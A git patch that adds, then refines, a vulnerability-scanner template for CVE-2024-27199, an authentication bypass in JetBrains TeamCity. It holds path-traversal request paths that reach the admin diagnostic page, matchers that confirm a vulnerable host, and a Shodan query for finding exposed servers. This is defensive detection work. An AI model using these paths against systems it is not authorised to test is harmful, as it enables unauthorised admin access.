From f644ec82dfe018890c6aa308967424d26c0f1522 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Tue, 5 Mar 2024 02:03:19 +0530 Subject: [PATCH 1/2] Create CVE-2024-27199.yaml --- http/cves/2024/CVE-2024-27199.yaml | 37 ++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 http/cves/2024/CVE-2024-27199.yaml diff --git a/http/cves/2024/CVE-2024-27199.yaml b/http/cves/2024/CVE-2024-27199.yaml new file mode 100644 index 0000000000..699801793b --- /dev/null +++ b/http/cves/2024/CVE-2024-27199.yaml @@ -0,0 +1,37 @@ +id: CVE-2024-27199 + +info: + name: TeamCity < 2023.11.4 - Authentication Bypass + author: DhiyaneshDk + severity: high + description: | + In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible + reference: + - https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/ + - https://nvd.nist.gov/vuln/detail/CVE-2024-27199 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L + cvss-score: 7.3 + cwe-id: CWE-23 + metadata: + verified: true + max-request: 1 + shodan-query: http.component:"TeamCity" + tags: cve,cve2024,teamcity,jetbrains,auth-bypass + +http: + - method: GET + path: + - "{{BaseURL}}/res/../admin/diagnostic.jsp" + - "{{BaseURL}}/.well-known/acme-challenge/../../admin/diagnostic.jsp" + - "{{BaseURL}}/update/../admin/diagnostic.jsp" + + stop-at-first-match: true + + matchers: + - type: dsl + dsl: + - 'status_code == 200' + - 'contains(header, "text/html")' + - 'contains(body, "Debug Logging") && contains(body, "CPU & Memory Usage")' + condition: and From ab124c8f840d33a72042c98a6964464d57680737 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Wed, 6 Mar 2024 11:09:13 +0530 Subject: [PATCH 2/2] updated dsl --- http/cves/2024/CVE-2024-27199.yaml | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/http/cves/2024/CVE-2024-27199.yaml b/http/cves/2024/CVE-2024-27199.yaml index 699801793b..b4a802e69f 100644 --- a/http/cves/2024/CVE-2024-27199.yaml +++ b/http/cves/2024/CVE-2024-27199.yaml @@ -15,7 +15,7 @@ info: cwe-id: CWE-23 metadata: verified: true - max-request: 1 + max-request: 3 shodan-query: http.component:"TeamCity" tags: cve,cve2024,teamcity,jetbrains,auth-bypass @@ -27,11 +27,10 @@ http: - "{{BaseURL}}/update/../admin/diagnostic.jsp" stop-at-first-match: true - matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(header, "text/html")' - - 'contains(body, "Debug Logging") && contains(body, "CPU & Memory Usage")' + - 'contains_all(body, "Debug Logging", "CPU & Memory Usage")' condition: and